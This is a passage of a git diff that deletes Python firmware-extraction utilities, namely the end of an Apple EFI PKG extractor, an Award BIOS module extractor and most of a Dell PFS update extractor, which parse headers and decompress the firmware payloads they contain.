apple_im4p_split, is_apple_im4p -from Apple_EFI_PBZX import apple_pbzx_extract, is_apple_pbzx - -# Check if input is Apple EFI PKG package -def is_apple_pkg(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_APPLE_PKG.search(input_buffer[:0x4])) - -# Split Apple EFI image (if applicable) and Rename -def efi_split_rename(in_file, out_path, padding=0): - exit_codes = [] - - working_dir = get_extract_path(in_file) - - if is_apple_im4p(in_file): - printer(f'Splitting IM4P via {is_apple_im4p.__module__}...', padding) - im4p_exit = apple_im4p_split(in_file, working_dir, padding + 4) - exit_codes.append(im4p_exit) - else: - make_dirs(working_dir, delete=True) - copy_file(in_file, working_dir, True) - - for efi_file in get_path_files(working_dir): - if is_apple_efi(efi_file): - printer(f'Renaming EFI via {is_apple_efi.__module__}...', padding) - name_exit = apple_efi_identify(efi_file, efi_file, padding + 4, True) - exit_codes.append(name_exit) - - for named_file in get_path_files(working_dir): - copy_file(named_file, out_path, True) - - del_dirs(working_dir) - - return sum(exit_codes) - -# Parse & Extract Apple EFI PKG packages -def apple_pkg_extract(input_file, extract_path, padding=0): - if not os.path.isfile(input_file): - printer('Error: Could not find input file path!', padding) - return 1 - - make_dirs(extract_path, delete=True) - - xar_path = os.path.join(extract_path, 'xar') - - # Decompress PKG > XAR archive with 7-Zip - if is_szip_supported(input_file, padding, args=['-tXAR'], check=True): - if szip_decompress(input_file, xar_path, 'XAR', padding, args=['-tXAR'], check=True) != 0: - return 3 - else: - return 2 - - for xar_file in get_path_files(xar_path): - if path_name(xar_file) == 'Payload': - pbzx_module = is_apple_pbzx.__module__ - if is_apple_pbzx(xar_file): - printer(f'Extracting PBZX via {pbzx_module}...', padding + 4) - pbzx_path = get_extract_path(xar_file) - if apple_pbzx_extract(xar_file, pbzx_path, padding + 8) == 0: - printer(f'Succesfull PBZX extraction via {pbzx_module}!', padding + 4) - for pbzx_file in get_path_files(pbzx_path): - if path_name(pbzx_file) == 'UpdateBundle.zip': - if is_szip_supported(pbzx_file, padding + 8, args=['-tZIP'], check=True): - zip_path = get_extract_path(pbzx_file) - if szip_decompress(pbzx_file, zip_path, 'ZIP', padding + 8, args=['-tZIP'], check=True) == 0: - for zip_file in get_path_files(zip_path): - if path_name(path_parent(zip_file)) == 'MacEFI': - printer(path_name(zip_file), padding + 12) - if efi_split_rename(zip_file, extract_path, padding + 16) != 0: - printer(f'Error: Could not split and rename {path_name(zip_file)}!', padding) - return 10 - else: - return 9 - else: - return 8 - break # ZIP found, stop - else: - printer('Error: Could not find "UpdateBundle.zip" file!', padding) - return 7 - else: - printer(f'Error: Failed to extract PBZX file via {pbzx_module}!', padding) - return 6 - else: - printer(f'Error: Failed to detect file as PBZX via {pbzx_module}!', padding) - return 5 - - break # Payload found, stop searching - - if path_name(xar_file) == 'Scripts': - if is_szip_supported(xar_file, padding + 4, args=['-tGZIP'], check=True): - gzip_path = get_extract_path(xar_file) - if szip_decompress(xar_file, gzip_path, 'GZIP', padding + 4, args=['-tGZIP'], check=True) == 0: - for gzip_file in get_path_files(gzip_path): - if is_szip_supported(gzip_file, padding + 8, args=['-tCPIO'], check=True): - cpio_path = get_extract_path(gzip_file) - if szip_decompress(gzip_file, cpio_path, 'CPIO', padding + 8, args=['-tCPIO'], check=True) == 0: - for cpio_file in get_path_files(cpio_path): - if path_name(path_parent(cpio_file)) == 'EFIPayloads': - printer(path_name(cpio_file), padding + 12) - if efi_split_rename(cpio_file, extract_path, padding + 16) != 0: - printer(f'Error: Could not split and rename {path_name(cpio_file)}!', padding) - return 15 - else: - return 14 - else: - return 13 - else: - return 12 - else: - return 11 - - break # Scripts found, stop searching - else: - printer('Error: Could not find "Payload" or "Scripts" file!', padding) - return 4 - - del_dirs(xar_path) # Delete temporary/working XAR folder - - return 0 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_apple_pkg, apple_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Award_BIOS_Extract.py b/blobs/t480/biosutilities/Award_BIOS_Extract.py deleted file mode 100644 index 12d1e9698..000000000 --- a/blobs/t480/biosutilities/Award_BIOS_Extract.py +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Award BIOS Extract -Award BIOS Module Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Award BIOS Module Extractor v2.0_a5' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import szip_decompress -from common.path_ops import make_dirs, safe_name, get_extract_path -from common.patterns import PAT_AWARD_LZH -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is Award BIOS image -def is_award_bios(in_file): - in_buffer = file_to_bytes(in_file) - - return bool(PAT_AWARD_LZH.search(in_buffer)) - -# Parse & Extract Award BIOS image -def award_bios_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - for lzh_match in PAT_AWARD_LZH.finditer(input_buffer): - lzh_type = lzh_match.group(0).decode('utf-8') - lzh_text = f'LZH-{lzh_type.strip("-").upper()}' - - lzh_bgn = lzh_match.start() - - mod_bgn = lzh_bgn - 0x2 - hdr_len = input_buffer[mod_bgn] - mod_len = int.from_bytes(input_buffer[mod_bgn + 0x7:mod_bgn + 0xB], 'little') - mod_end = lzh_bgn + hdr_len + mod_len - mod_bin = input_buffer[mod_bgn:mod_end] - - tag_bgn = mod_bgn + 0x16 - tag_end = tag_bgn + input_buffer[mod_bgn + 0x15] - tag_txt = input_buffer[tag_bgn:tag_end].decode('utf-8','ignore') - - printer(f'{lzh_text} > {tag_txt} [0x{mod_bgn:06X}-0x{mod_end:06X}]', padding) - - mod_path = os.path.join(extract_path, safe_name(tag_txt)) - lzh_path = f'{mod_path}.lzh' - - with open(lzh_path, 'wb') as lzh_file: - lzh_file.write(mod_bin) # Store LZH archive - - # 7-Zip returns critical exit code (i.e. 2) if LZH CRC is wrong, do not check result - szip_decompress(lzh_path, extract_path, lzh_text, padding + 4, check=False) - - # Manually check if 7-Zip extracted LZH due to its CRC check issue - if os.path.isfile(mod_path): - os.remove(lzh_path) # Successful extraction, delete LZH archive - - # Extract any nested LZH archives - if is_award_bios(mod_path): - # Recursively extract nested Award BIOS modules - award_bios_extract(mod_path, get_extract_path(mod_path), padding + 8) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_award_bios, award_bios_extract).run_utility() diff --git a/blobs/t480/biosutilities/Dell_PFS_Extract.py b/blobs/t480/biosutilities/Dell_PFS_Extract.py deleted file mode 100644 index b8cb68653..000000000 --- a/blobs/t480/biosutilities/Dell_PFS_Extract.py +++ /dev/null @@ -1,1067 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Dell PFS Extract -Dell PFS Update Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Dell PFS Update Extractor v6.0_a16' - -import os -import io -import sys -import lzma -import zlib -import ctypes -import contextlib - -# Skip __pycache__ generation -sys.dont_write_bytecode = True - -from common.checksums import get_chk_8_xor -from common.comp_szip import is_szip_supported, szip_decompress -from common.num_ops import get_ordinal -from common.path_ops import del_dirs, get_path_files, make_dirs, path_name, path_parent, path_stem, safe_name -from common.patterns import PAT_DELL_FTR, PAT_DELL_HDR, PAT_DELL_PKG -from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t, uint64_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -from AMI_PFAT_Extract import IntelBiosGuardHeader, IntelBiosGuardSignature2k, parse_bg_script - -# Dell PFS Header Structure -class DellPfsHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Tag', char*8), # 0x00 - ('HeaderVersion', uint32_t), # 0x08 - ('PayloadSize', uint32_t), # 0x0C - # 0x10 - ] - - def struct_print(self, p): - printer(['Header Tag :', self.Tag.decode('utf-8')], p, False) - printer(['Header Version:', self.HeaderVersion], p, False) - printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) - -# Dell PFS Footer Structure -class DellPfsFooter(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('PayloadSize', uint32_t), # 0x00 - ('Checksum', uint32_t), # 0x04 ~CRC32 w/ Vector 0 - ('Tag', char*8), # 0x08 - # 0x10 - ] - - def struct_print(self, p): - printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) - printer(['Payload Checksum:', f'0x{self.Checksum:08X}'], p, False) - printer(['Footer Tag :', self.Tag.decode('utf-8')], p, False) - -# Dell PFS Entry Base Structure -class DellPfsEntryBase(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('GUID', uint32_t*4), # 0x00 Little Endian - ('HeaderVersion', uint32_t), # 0x10 1 or 2 - ('VersionType', uint8_t*4), # 0x14 - ('Version', uint16_t*4), # 0x18 - ('Reserved', uint64_t), # 0x20 - ('DataSize', uint32_t), # 0x28 - ('DataSigSize', uint32_t), # 0x2C - ('DataMetSize', uint32_t), # 0x30 - ('DataMetSigSize', uint32_t), # 0x34 - # 0x38 (parent class, base) - ] - - def struct_print(self, p): - GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' - Unknown = f'{int.from_bytes(self.Unknown, "little"):0{len(self.Unknown) * 8}X}' - Version = get_entry_ver(self.Version, self.VersionType) - - printer(['Entry GUID :', GUID], p, False) - printer(['Entry Version :', self.HeaderVersion], p, False) - printer(['Payload Version :', Version], p, False) - printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) - printer(['Payload Data Size :', f'0x{self.DataSize:X}'], p, False) - printer(['Payload Signature Size :', f'0x{self.DataSigSize:X}'], p, False) - printer(['Metadata Data Size :', f'0x{self.DataMetSize:X}'], p, False) - printer(['Metadata Signature Size:', f'0x{self.DataMetSigSize:X}'], p, False) - printer(['Unknown :', f'0x{Unknown}'], p, False) - -# Dell PFS Entry Revision 1 Structure -class DellPfsEntryR1(DellPfsEntryBase): - _pack_ = 1 - _fields_ = [ - ('Unknown', uint32_t*4), # 0x38 - # 0x48 (child class, R1) - ] - -# Dell PFS Entry Revision 2 Structure -class DellPfsEntryR2(DellPfsEntryBase): - _pack_ = 1 - _fields_ = [ - ('Unknown', uint32_t*8), # 0x38 - # 0x58 (child class, R2) - ] - -# Dell PFS Information Header Structure -class DellPfsInfo(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('HeaderVersion', uint32_t), # 0x00 - ('GUID', uint32_t*4), # 0x04 Little Endian - # 0x14 - ] - - def struct_print(self, p): - GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' - - printer(['Info Version:', self.HeaderVersion], p, False) - printer(['Entry GUID :', GUID], p, False) - -# Dell PFS FileName Header Structure -class DellPfsName(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Version', uint16_t*4), # 0x00 - ('VersionType', uint8_t*4), # 0x08 - ('CharacterCount', uint16_t), # 0x0C UTF-16 2-byte Characters - # 0x0E - ] - - def struct_print(self, p, name): - Version = get_entry_ver(self.Version, self.VersionType) - - printer(['Payload Version:', Version], p, False) - printer(['Character Count:', self.CharacterCount], p, False) - printer(['Payload Name :', name], p, False) - -# Dell PFS Metadata Header Structure -class DellPfsMetadata(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('ModelIDs', char*501), # 0x000 - ('FileName', char*100), # 0x1F5 - ('FileVersion', char*33), # 0x259 - ('Date', char*33), # 0x27A - ('Brand', char*80), # 0x29B - ('ModelFile', char*80), # 0x2EB - ('ModelName', char*100), # 0x33B - ('ModelVersion', char*33), # 0x39F - # 0x3C0 - ] - - def struct_print(self, p): - printer(['Model IDs :', self.ModelIDs.decode('utf-8').strip(',END')], p, False) - printer(['File Name :', self.FileName.decode('utf-8')], p, False) - printer(['File Version :', self.FileVersion.decode('utf-8')], p, False) - printer(['Date :', self.Date.decode('utf-8')], p, False) - printer(['Brand :', self.Brand.decode('utf-8')], p, False) - printer(['Model File :', self.ModelFile.decode('utf-8')], p, False) - printer(['Model Name :', self.ModelName.decode('utf-8')], p, False) - printer(['Model Version:', self.ModelVersion.decode('utf-8')], p, False) - -# Dell PFS BIOS Guard Metadata Structure -class DellPfsPfatMetadata(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Address', uint32_t), # 0x00 - ('Unknown0', uint32_t), # 0x04 - ('Offset', uint32_t), # 0x08 Matches BG Script > I0 - ('DataSize', uint32_t), # 0x0C Matches BG Script > I2 & Header > Data Size - ('Unknown1', uint32_t), # 0x10 - ('Unknown2', uint32_t), # 0x14 - ('Unknown3', uint8_t), # 0x18 - # 0x19 - ] - - def struct_print(self, p): - printer(['Address :', f'0x{self.Address:X}'], p, False) - printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) - printer(['Offset :', f'0x{self.Offset:X}'], p, False) - printer(['Length :', f'0x{self.DataSize:X}'], p, False) - printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) - printer(['Unknown 2:', f'0x{self.Unknown2:X}'], p, False) - printer(['Unknown 3:', f'0x{self.Unknown3:X}'], p, False) - -# The Dell ThinOS PKG update images usually contain multiple sections. -# Each section starts with a 0x30 header, which begins with pattern 72135500. -# The section length is found at 0x10-0x14 and its (optional) MD5 hash at 0x20-0x30. -# Section data can be raw or LZMA2 (7zXZ) compressed. The latter contains the PFS update image. -def is_pfs_pkg(input_file): - input_buffer = file_to_bytes(input_file) - - return PAT_DELL_PKG.search(input_buffer) - -# The Dell PFS update images usually contain multiple sections. -# Each section is zlib-compressed with header pattern ********++EEAA761BECBB20F1E651--789C, -# where ******** is the zlib stream size, ++ is the section type and -- the header Checksum XOR 8. -# The "Firmware" section has type AA and its files are stored in PFS format. -# The "Utility" section has type BB and its files are stored in PFS, BIN or 7z formats. -def is_pfs_hdr(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_DELL_HDR.search(input_buffer)) - -# Each section is followed by the footer pattern ********EEAAEE8F491BE8AE143790--, -# where ******** is the zlib stream size and ++ the footer Checksum XOR 8. -def is_pfs_ftr(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_DELL_FTR.search(input_buffer)) - -# Check if input is Dell PFS/PKG image -def is_dell_pfs(input_file): - input_buffer = file_to_bytes(input_file) - - is_pkg = is_pfs_pkg(input_buffer) - - is_hdr = is_pfs_hdr(input_buffer) - - is_ftr = is_pfs_ftr(input_buffer) - - return bool(is_pkg or is_hdr and is_ftr) - -# Parse & Extract Dell PFS Update image -def pfs_pkg_parse(input_file, extract_path, padding=0, structure=True, advanced=True): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - is_dell_pkg = is_pfs_pkg(input_buffer) - - if is_dell_pkg: - pfs_results = thinos_pkg_extract(input_buffer, extract_path) - else: - pfs_results = {path_stem(input_file) if os.path.isfile(input_file) else 'Image': input_buffer} - - # Parse each Dell PFS image contained in the input file - for pfs_index,(pfs_name,pfs_buffer) in enumerate(pfs_results.items(), start=1): - # At ThinOS PKG packages, multiple PFS images may be included in separate model-named folders - pfs_path = os.path.join(extract_path, f'{pfs_index} {pfs_name}') if is_dell_pkg else extract_path - # Parse each PFS ZLIB section - for zlib_offset in get_section_offsets(pfs_buffer): - # Call the PFS ZLIB section parser function - pfs_section_parse(pfs_buffer, zlib_offset, pfs_path, pfs_name, pfs_index, 1, False, padding, structure, advanced) - -# Extract Dell ThinOS PKG 7zXZ -def thinos_pkg_extract(input_file, extract_path): - input_buffer = file_to_bytes(input_file) - - # Initialize PFS results (Name: Buffer) - pfs_results = {} - - # Search input image for ThinOS PKG 7zXZ header - thinos_pkg_match = PAT_DELL_PKG.search(input_buffer) - - lzma_len_off = thinos_pkg_match.start() + 0x10 - lzma_len_int = int.from_bytes(input_buffer[lzma_len_off:lzma_len_off + 0x4], 'little') - lzma_bin_off = thinos_pkg_match.end() - 0x5 - lzma_bin_dat = input_buffer[lzma_bin_off:lzma_bin_off + lzma_len_int] - - # Check if the compressed 7zXZ stream is complete - if len(lzma_bin_dat) != lzma_len_int: - return pfs_results - - working_path = os.path.join(extract_path, 'THINOS_PKG_TEMP') - - make_dirs(working_path, delete=True) - - pkg_tar_path = os.path.join(working_path, 'THINOS_PKG.TAR') - - with open(pkg_tar_path, 'wb') as pkg_payload: - pkg_payload.write(lzma.decompress(lzma_bin_dat)) - - if is_szip_supported(pkg_tar_path, 0, args=['-tTAR'], check=True, silent=True): - if szip_decompress(pkg_tar_path, working_path, 'TAR', 0, args=['-tTAR'], check=True, silent=True) == 0: - os.remove(pkg_tar_path) - else: - return pfs_results - else: - return pfs_results - - for pkg_file in get_path_files(working_path): - if is_pfs_hdr(pkg_file): - pfs_name = path_name(path_parent(pkg_file)) - pfs_results.update({pfs_name: file_to_bytes(pkg_file)}) - - del_dirs(working_path) - - return pfs_results - -# Get PFS ZLIB Section Offsets -def get_section_offsets(buffer): - pfs_zlib_list = [] # Initialize PFS ZLIB offset list - - pfs_zlib_init = list(PAT_DELL_HDR.finditer(buffer)) - - if not pfs_zlib_init: - return pfs_zlib_list # No PFS ZLIB detected - - # Remove duplicate/nested PFS ZLIB offsets - for zlib_c in pfs_zlib_init: - is_duplicate = False # Initialize duplicate/nested PFS ZLIB offset - - for zlib_o in pfs_zlib_init: - zlib_o_size = int.from_bytes(buffer[zlib_o.start() - 0x5:zlib_o.start() - 0x1], 'little') - - # If current PFS ZLIB offset is within another PFS ZLIB range (start-end), set as duplicate - if zlib_o.start() < zlib_c.start() < zlib_o.start() + zlib_o_size: - is_duplicate = True - - if not is_duplicate: - pfs_zlib_list.append(zlib_c.start()) - - return pfs_zlib_list - -# Dell PFS ZLIB Section Parser -def pfs_section_parse(zlib_data, zlib_start, extract_path, pfs_name, pfs_index, pfs_count, is_rec, padding=0, structure=True, advanced=True): - is_zlib_error = False # Initialize PFS ZLIB-related error state - - section_type = zlib_data[zlib_start - 0x1] # Byte before PFS ZLIB Section pattern is Section Type (e.g. AA, BB) - section_name = {0xAA:'Firmware', 0xBB:'Utilities'}.get(section_type, f'Unknown ({section_type:02X})') - - # Show extraction complete message for each main PFS ZLIB Section - printer(f'Extracting Dell PFS {pfs_index} > {pfs_name} > {section_name}', padding) - - # Set PFS ZLIB Section extraction sub-directory path - section_path = os.path.join(extract_path, safe_name(section_name)) - - # Create extraction sub-directory and delete old (if present, not in recursions) - make_dirs(section_path, delete=(not is_rec), parents=True, exist_ok=True) - - # Store the compressed zlib stream start offset - compressed_start = zlib_start + 0xB - - # Store the PFS ZLIB section header start offset - header_start = zlib_start - 0x5 - - # Store the PFS ZLIB section header contents (16 bytes) - header_data = zlib_data[header_start:compressed_start] - - # Check if the PFS ZLIB section header Checksum XOR 8 is valid - if get_chk_8_xor(header_data[:0xF]) != header_data[0xF]: - printer('Error: Invalid Dell PFS ZLIB section Header Checksum!', padding) - is_zlib_error = True - - # Store the compressed zlib stream size from the header contents - compressed_size_hdr = int.from_bytes(header_data[:0x4], 'little') - - # Store the compressed zlib stream end offset - compressed_end = compressed_start + compressed_size_hdr - - # Store the compressed zlib stream contents - compressed_data = zlib_data[compressed_start:compressed_end] - - # Check if the compressed zlib stream is complete, based on header - if len(compressed_data) != compressed_size_hdr: - printer('Error: Incomplete Dell PFS ZLIB section data (Header)!', padding) - is_zlib_error = True - - # Store the PFS ZLIB section footer contents (16 bytes) - footer_data = zlib_data[compressed_end:compressed_end + 0x10] - - # Check if PFS ZLIB section footer was found in the section - if not is_pfs_ftr(footer_data): - printer('Error: This Dell PFS ZLIB section is corrupted!', padding) - is_zlib_error = True - - # Check if the PFS ZLIB section footer Checksum XOR 8 is valid - if get_chk_8_xor(footer_data[:0xF]) != footer_data[0xF]: - printer('Error: Invalid Dell PFS ZLIB section Footer Checksum!', padding) - is_zlib_error = True - - # Store the compressed zlib stream size from the footer contents - compressed_size_ftr = int.from_bytes(footer_data[:0x4], 'little') - - # Check if the compressed zlib stream is complete, based on footer - if compressed_size_ftr != compressed_size_hdr: - printer('Error: Incomplete Dell PFS ZLIB section data (Footer)!', padding) - is_zlib_error = True - - # Decompress PFS ZLIB section payload - try: - if is_zlib_error: - raise Exception('ZLIB_ERROR') # ZLIB errors are critical - section_data = zlib.decompress(compressed_data) # ZLIB decompression - except Exception: - section_data = zlib_data # Fallback to raw ZLIB data upon critical error - - # Call the PFS Extract function on the decompressed PFS ZLIB Section - pfs_extract(section_data, pfs_index, pfs_name, pfs_count, section_path, padding, structure, advanced) - -# Parse & Extract Dell PFS Volume -def pfs_extract(buffer, pfs_index, pfs_name, pfs_count, extract_path, padding=0, structure=True, advanced=True): - # Show PFS Volume indicator - if structure: - printer('PFS Volume:', padding) - - # Get PFS Header Structure values - pfs_hdr = get_struct(buffer, 0, DellPfsHeader) - - # Validate that a PFS Header was parsed - if pfs_hdr.Tag != b'PFS.HDR.': - printer('Error: PFS Header could not be found!', padding + 4) - - return # Critical error, abort - - # Show PFS Header Structure info - if structure: - printer('PFS Header:\n', padding + 4) - pfs_hdr.struct_print(padding + 8) - - # Validate that a known PFS Header Version was encountered - chk_hdr_ver(pfs_hdr.HeaderVersion, 'PFS', padding + 8) - - # Get PFS Payload Data - pfs_payload = buffer[PFS_HEAD_LEN:PFS_HEAD_LEN + pfs_hdr.PayloadSize] - - # Parse all PFS Payload Entries/Components - entry_index = 1 # Index number of each PFS Entry - entry_start = 0 # Increasing PFS Entry starting offset - entries_all = [] # Storage for each PFS Entry details - filename_info = [] # Buffer for FileName Information Entry Data - signature_info = [] # Buffer for Signature Information Entry Data - pfs_entry_struct,pfs_entry_size = get_pfs_entry(pfs_payload, entry_start) # Get PFS Entry Info - while len(pfs_payload[entry_start:entry_start + pfs_entry_size]) == pfs_entry_size: - # Analyze PFS Entry Structure and get relevant info - _,entry_version,entry_guid,entry_data,entry_data_sig,entry_met,entry_met_sig,next_entry = \ - parse_pfs_entry(pfs_payload, entry_start, pfs_entry_size, pfs_entry_struct, 'PFS Entry', padding, structure) - - entry_type = 'OTHER' # Adjusted later if PFS Entry is Zlib, PFAT, PFS Info, Model Info - - # Get PFS Information from the PFS Entry with GUID E0717CE3A9BB25824B9F0DC8FD041960 or B033CB16EC9B45A14055F80E4D583FD3 - if entry_guid in ['E0717CE3A9BB25824B9F0DC8FD041960','B033CB16EC9B45A14055F80E4D583FD3']: - filename_info = entry_data - entry_type = 'NAME_INFO' - - # Get Model Information from the PFS Entry with GUID 6F1D619A22A6CB924FD4DA68233AE3FB - elif entry_guid == '6F1D619A22A6CB924FD4DA68233AE3FB': - entry_type = 'MODEL_INFO' - - # Get Signature Information from the PFS Entry with GUID D086AFEE3ADBAEA94D5CED583C880BB7 - elif entry_guid == 'D086AFEE3ADBAEA94D5CED583C880BB7': - signature_info = entry_data - entry_type = 'SIG_INFO' - - # Get Nested PFS from the PFS Entry with GUID 900FAE60437F3AB14055F456AC9FDA84 - elif entry_guid == '900FAE60437F3AB14055F456AC9FDA84': - entry_type = 'NESTED_PFS' # Nested PFS are usually zlib-compressed so it might change to 'ZLIB' later - - # Store all relevant PFS Entry details - entries_all.append([entry_index, entry_guid, entry_version, entry_type, entry_data, entry_data_sig, entry_met, entry_met_sig]) - - entry_index += 1 # Increase PFS Entry Index number for user-friendly output and name duplicates - entry_start = next_entry # Next PFS Entry starts after PFS Entry Metadata Signature - - # Parse all PFS Information Entries/Descriptors - info_start = 0 # Increasing PFS Information Entry starting offset - info_all = [] # Storage for each PFS Information Entry details - while len(filename_info[info_start:info_start + PFS_INFO_LEN]) == PFS_INFO_LEN: - # Get PFS Information Header Structure info - entry_info_hdr = get_struct(filename_info, info_start, DellPfsInfo) - - # Show PFS Information Header Structure info - if structure: - printer('PFS Information Header:\n', padding + 4) - entry_info_hdr.struct_print(padding + 8) - - # Validate that a known PFS Information Header Version was encountered - if entry_info_hdr.HeaderVersion != 1: - printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) - break # Skip PFS Information Entries/Descriptors in case of unknown PFS Information Header Version - - # Get PFS Information Header GUID in Big Endian format to match each Info to the equivalent stored PFS Entry details - entry_guid = f'{int.from_bytes(entry_info_hdr.GUID, "little"):0{0x10 * 2}X}' - - # Get PFS FileName Structure values - entry_info_mod = get_struct(filename_info, info_start + PFS_INFO_LEN, DellPfsName) - - # The PFS FileName Structure is not complete by itself. The size of the last field (Entry Name) is determined from - # CharacterCount multiplied by 2 due to usage of UTF-16 2-byte Characters. Any Entry Name leading and/or trailing - # space/null characters are stripped and common Windows reserved/illegal filename characters are replaced - name_start = info_start + PFS_INFO_LEN + PFS_NAME_LEN # PFS Entry's FileName start offset - name_size = entry_info_mod.CharacterCount * 2 # PFS Entry's FileName buffer total size - name_data = filename_info[name_start:name_start + name_size] # PFS Entry's FileName buffer - entry_name = safe_name(name_data.decode('utf-16').strip()) # PFS Entry's FileName value - - # Show PFS FileName Structure info - if structure: - printer('PFS FileName Entry:\n', padding + 8) - entry_info_mod.struct_print(padding + 12, entry_name) - - # Get PFS FileName Version string via "Version" and "VersionType" fields - # PFS FileName Version string must be preferred over PFS Entry's Version - entry_version = get_entry_ver(entry_info_mod.Version, entry_info_mod.VersionType) - - # Store all relevant PFS FileName details - info_all.append([entry_guid, entry_name, entry_version]) - - # The next PFS Information Header starts after the calculated FileName size - # Two space/null characters seem to always exist after each FileName value - info_start += (PFS_INFO_LEN + PFS_NAME_LEN + name_size + 0x2) - - # Parse Nested PFS Metadata when its PFS Information Entry is missing - for index in range(len(entries_all)): - if entries_all[index][3] == 'NESTED_PFS' and not filename_info: - entry_guid = entries_all[index][1] # Nested PFS Entry GUID in Big Endian format - entry_metadata = entries_all[index][6] # Use Metadata as PFS Information Entry - - # When PFS Information Entry exists, Nested PFS Metadata contains only Model IDs - # When it's missing, the Metadata structure is large and contains equivalent info - if len(entry_metadata) >= PFS_META_LEN: - # Get Nested PFS Metadata Structure values - entry_info = get_struct(entry_metadata, 0, DellPfsMetadata) - - # Show Nested PFS Metadata Structure info - if structure: - printer('PFS Metadata Information:\n', padding + 4) - entry_info.struct_print(padding + 8) - - # As Nested PFS Entry Name, we'll use the actual PFS File Name - # Replace common Windows reserved/illegal filename characters - entry_name = safe_name(entry_info.FileName.decode('utf-8').strip('.exe')) - - # As Nested PFS Entry Version, we'll use the actual PFS File Version - entry_version = entry_info.FileVersion.decode('utf-8') - - # Store all relevant Nested PFS Metadata/Information details - info_all.append([entry_guid, entry_name, entry_version]) - - # Re-set Nested PFS Entry Version from Metadata - entries_all[index][2] = entry_version - - # Parse all PFS Signature Entries/Descriptors - sign_start = 0 # Increasing PFS Signature Entry starting offset - while len(signature_info[sign_start:sign_start + PFS_INFO_LEN]) == PFS_INFO_LEN: - # Get PFS Information Header Structure info - entry_info_hdr = get_struct(signature_info, sign_start, DellPfsInfo) - - # Show PFS Information Header Structure info - if structure: - printer('PFS Information Header:\n', padding + 4) - entry_info_hdr.struct_print(padding + 8) - - # Validate that a known PFS Information Header Version was encountered - if entry_info_hdr.HeaderVersion != 1: - printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) - break # Skip PFS Signature Entries/Descriptors in case of unknown Header Version - - # PFS Signature Entries/Descriptors have DellPfsInfo + DellPfsEntryR* + Sign Size [0x2] + Sign Data [Sig Size] - pfs_entry_struct, pfs_entry_size = get_pfs_entry(signature_info, sign_start + PFS_INFO_LEN) # Get PFS Entry Info - - # Get PFS Entry Header Structure info - entry_hdr = get_struct(signature_info, sign_start + PFS_INFO_LEN, pfs_entry_struct) - - # Show PFS Information Header Structure info - if structure: - printer('PFS Information Entry:\n', padding + 8) - entry_hdr.struct_print(padding + 12) - - # Show PFS Signature Size & Data (after DellPfsEntryR*) - sign_info_start = sign_start + PFS_INFO_LEN + pfs_entry_size - sign_size = int.from_bytes(signature_info[sign_info_start:sign_info_start + 0x2], 'little') - sign_data_raw = signature_info[sign_info_start + 0x2:sign_info_start + 0x2 + sign_size] - sign_data_txt = f'{int.from_bytes(sign_data_raw, "little"):0{sign_size * 2}X}' - - if structure: - printer('Signature Information:\n', padding + 8) - printer(f'Signature Size: 0x{sign_size:X}', padding + 12, False) - printer(f'Signature Data: {sign_data_txt[:32]} [...]', padding + 12, False) - - # The next PFS Signature Entry/Descriptor starts after the previous Signature Data - sign_start += (PFS_INFO_LEN + pfs_entry_size + 0x2 + sign_size) - - # Parse each PFS Entry Data for special types (zlib or PFAT) - for index in range(len(entries_all)): - entry_data = entries_all[index][4] # Get PFS Entry Data - entry_type = entries_all[index][3] # Get PFS Entry Type - - # Very small PFS Entry Data cannot be of special type - if len(entry_data) < PFS_HEAD_LEN: - continue - - # Check if PFS Entry contains zlib-compressed sub-PFS Volume - pfs_zlib_offsets = get_section_offsets(entry_data) - - # Check if PFS Entry contains sub-PFS Volume with PFAT Payload - is_pfat = False # Initial PFAT state for sub-PFS Entry - _, pfat_entry_size = get_pfs_entry(entry_data, PFS_HEAD_LEN) # Get possible PFS PFAT Entry Size - pfat_hdr_off = PFS_HEAD_LEN + pfat_entry_size # Possible PFAT Header starts after PFS Header & Entry - pfat_entry_hdr = get_struct(entry_data, 0, DellPfsHeader) # Possible PFS PFAT Entry - if len(entry_data) - pfat_hdr_off >= PFAT_HDR_LEN: - pfat_hdr = get_struct(entry_data, pfat_hdr_off, IntelBiosGuardHeader) - is_pfat = pfat_hdr.get_platform_id().upper().startswith('DELL') - - # Parse PFS Entry which contains sub-PFS Volume with PFAT Payload - if pfat_entry_hdr.Tag == b'PFS.HDR.' and is_pfat: - entry_type = 'PFAT' # Re-set PFS Entry Type from OTHER to PFAT, to use such info afterwards - - entry_data = 